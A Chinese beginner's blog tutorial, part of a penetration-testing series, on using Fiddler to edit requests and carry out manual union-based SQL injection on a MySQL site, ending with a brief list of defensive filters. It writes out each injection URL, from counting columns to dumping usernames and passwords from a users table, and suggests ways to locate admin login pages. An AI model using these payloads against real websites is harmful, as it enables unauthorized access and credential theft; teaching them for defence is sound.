[渗透&攻防] 四.详解MySQL数据库攻防及Fiddler神器分析数据包

这是最近学习渗透和网站攻防的基础性文章，前面文章从数据库原理解读了防止SQL注入、SQLMAP的基础用法、数据库差别备份、Caidao神器。这篇文章将详细讲解MySQL数据库攻防知识，有点相似第一篇文章，而后其核心是解决局部刷新数据的思想，并经过Fiddler神器分析数据包的方法。javascript

但愿本身能深刻地学习这部分知识，做为一个初学者，在探索网络攻防和渗透的路上还很长。同时，但愿文章对你有所帮助，尤为是学习网络安全的初学者，错误或不足之处还请海涵~java

    一.Fiddler神器基础用法&局部刷新问题
        1.什么是Fiddler
        2.Fiddler基础用法
        3.局部刷新问题
    二.Fiddler分析MySQL数据库
        1.Fiddler分析界面
        2.数据库如何判断字段总数 order by
        3.数据库获取显示位 union
        4.数据库显示应数据 database()
        5.数据库获取全部数据库名 information_schema
        5.数据库获取表名及列名 table_name
        6.数据库获取登陆表字段 columns 
        7.数据库返回用户名和密码 
        8.登陆系统
    三.数据库防护措施
 
   
前文欣赏：
[渗透&攻防] 一.从数据库原理学习网络攻防及防止SQL注入
[渗透&攻防] 二.SQL MAP工具从零解读数据库及基础用法
[渗透&攻防] 三.数据库之差别备份及Caidao利器

mysql

一. Fiddler神器基础用法&局部刷新问题

做者最先接触Fiddler，是身边一个大神，经过Fiddler+C#自制抓取Ipad游戏数据作外挂，让本身的人物总能捡到好装备，十分之崇拜，后悔没跟着他学习下。如今准备好好研究下它吧，但愿文章也对你有所帮助。程序员

首先做者简单介绍什么是Fiddler及基础功能，这里引用ohmygirl大神的文章部份内容。
    【HTTP】Fiddler（一） - Fiddler简介
该文章简单易懂，推荐你们阅读。

web

1.什么是Fiddlerajax

Fiddler是位于客户端和服务器端的HTTP代理，也是目前最经常使用的http抓包工具之一 。 它可以记录客户端和服务器之间的全部 HTTP请求，能够针对特定的HTTP请求，分析请求数据、设置断点、调试web应用、修改请求的数据，甚至能够修改服务器返回的数据，功能很是强大，是web调试的利器。

正则表达式

2.Fiddler基础用法sql

运行主界面以下所示：

数据库

主界面中主要包括四个经常使用的块：
(1) Fiddler菜单栏
顶部为菜单栏，包括捕获http请求，中止捕获请求，保存http请求，载入本地session、设置捕获规则等功能。浏览器

(2) Fiddler工具栏
菜单栏下来是一行工具栏，包括Fiddler针对当前view的操做（暂停、清除session、decode模式、清除缓存等）。

(3) Web Session面板
左边部分位Web Session面板，主要是Fiddler抓取到的每条http请求（每一条称为一个session），主要包含了请求的url、协议、状态码、body等信息。其中常见状态码为：
    200--成功，服务器成功处理请求且响应已成功接收。
    301--请求的URL
    400--坏请求。当目的服务器接收到请求但不理解细节因此没法处理时发生。
    404--页面找不到。若是目标API已移动或已更新但未保留向后兼容性时发生。
    500--内部服务器错误。服务器端发生了某种致命错误，且错误并被服务提供商捕获。
详细的字段含义以下图所示：

下面的实例主要应用的就是Inspectors面板下的Raw模块。

3.局部刷新问题

在网站开发过程当中，局部刷新是常见又实用的功能，局部刷新经过能够调用iframe、ajax等技术实现。下面是咱们团队设计的局部刷新界面。

二. Fiddler分析MySQL数据库

1.Fiddler分析界面

首先，打开Fiddler后在Web session面板按住Ctrl+A，选中全部界面后点击Delete删除。由于它是实时捕获信息的，先删除该页面。

  

2.数据库如何判断字段总数 order by

Inspectors页面Raw进行编辑URL
(1) GET http://xxxxx/prefix/CN')+order+by+1# HTTP/1.1   (正常显示)
对应的MySQL语句：
select .... from table where area=('cn') order by 1 # and xxxx;
按照1个字段进行排序，正常显示表示该URL对应的SQL语句至少一个字段。

注意：CN后面的 ') 用单引号+括号匹配结束该字符，同时Fiddler加号链接URL，而第一篇文章 "一.从数据库原理学习网络攻防及防止SQL注入" URL是空格链接的。最后的#表示在MySQL中注释包括#和--，这里--报错，而#成功访问，以下图所示。

重点：字段共8个。

3.数据库获取显示位 union

在获得字段个数后，须要获取字段位置，则使用union或union all。其中union表示将两个select结果总体显示，并合并相同的结果，union all显示所有结果。例如：

4.数据库显示应数据 database()

(1) GET http://xxxxx/prefix/CN')+union+select+1,2,3,4,5,database(),7,8# HTTP/1.1 
对应的SQL语句：
select .... from table where area=('cn') 
union select 1,2,3,4,5,database(),7,8  # and xxxx;
MySQL数据库中database()用于获取数据库的内容，version()用于获取当前数据库版本号内容。以下当前数据库为20170720df。

查询的结果以下所示，数据库为mfa。

那么怎么获取数据库全部的数据库名呢？
做者最先想到的是SQL语句：
select table_name from information_schema.tables;
该语句反馈整个数据库系统中，全部的表名，以下所示：

mysql安装成功后能够看到已经存在mysql、information_schema和test这个几个数据库
information_schema库中有一个名为COLUMNS的表，这个表中记录了数据库中全部表的字段信息。
知道这个表后，获取任意表的字段就只须要一条select语句便可。如：

select COLUMN_NAME from information_schema.COLUMNS where table_name = 'your_table_name';

6.数据库获取表名及列名 table_name

(1) GET http://xxxxx/worldmap/view/prefix/CNab')+union+all+
    select+1,2,3,4,5,group_concat(distinct+table_name),7,8+from+
    information_schema.tables+where+table_schema=database()# HTTP/1.1 
对应的MySQL语句，table_name、tables表示表名：
select group_concat(distinct+table_name) from
information_schema.tables where table_schema=database();
本地数据库测试以下图所示，输出结果包括该各个表名。

重点：登录表users

7.数据库获取登陆表字段 columns

获取登陆表的字段，使用SQL语句：
select group_concat(distinct+column_name) from 
information_schema.columns where table_name='users';
本地数据库运行结果以下所示：

8.数据库返回用户名和密码 

(1) GET http://xxxxx/worldmap/view/prefix/CNab')+union+all+
    select+1,2,3,4,5,group_concat(distinct+username,0x2b,
    password,0x2b,vozrast),7,8+from+users# HTTP/1.1 
对应的MySQL语句，table_name、tables表示表名：
select group_concat(distinct+username,0x2b,password,0x2b,vozrast) from users;
点击"Run to completion"按钮输出结果以下图所示，0x2b表示加号，若是获取更多用户名和密码，你能够本身思考下？

9.登陆系统

登陆怎么找到登陆页面呢？照网站后台的方法：
方法一：必定用谷歌搜索，admin、login、system、manage、user等关键词；
方法二：配置文件robots.txt，网页连接等；
方法三：扫描目录，经过一些工具。

三. 数据库防护措施

真正的困难在于如何找到一个存在漏洞的网站，如何去防御。如今不少网站都应作好相关防护措施，手工SQL注入是没有反应的，可是找到漏洞后，再利用SQLMAP就可以找到相应的用户名和密码。

参考前文，我的理解的防护措施：

    1.在URL设置不容许非法字符，如单引号、等号、注释--、减号，提示非法参数；
    2.在URL设置不容许SQL常见的关键词，如and、select、or、insert等；
    3.传递的id=115参数必须为数字才能正常跳转，不然跳转错误；
    4.服务器启用SQL注入拦截功能，提示当前网页的 URL / POST / COOKIES中包含了特定的 SQL字符而被防火墙拦截，由于可能经过POST、Cookies进行攻击，各方面都须要作到防护。
    5.可使用js在客户端进行不安全字符屏蔽，也能够在jsp中调用该函数检查是否包函非法字符，或使用正则表达式过滤传入的参数，防止SQL从URL注入。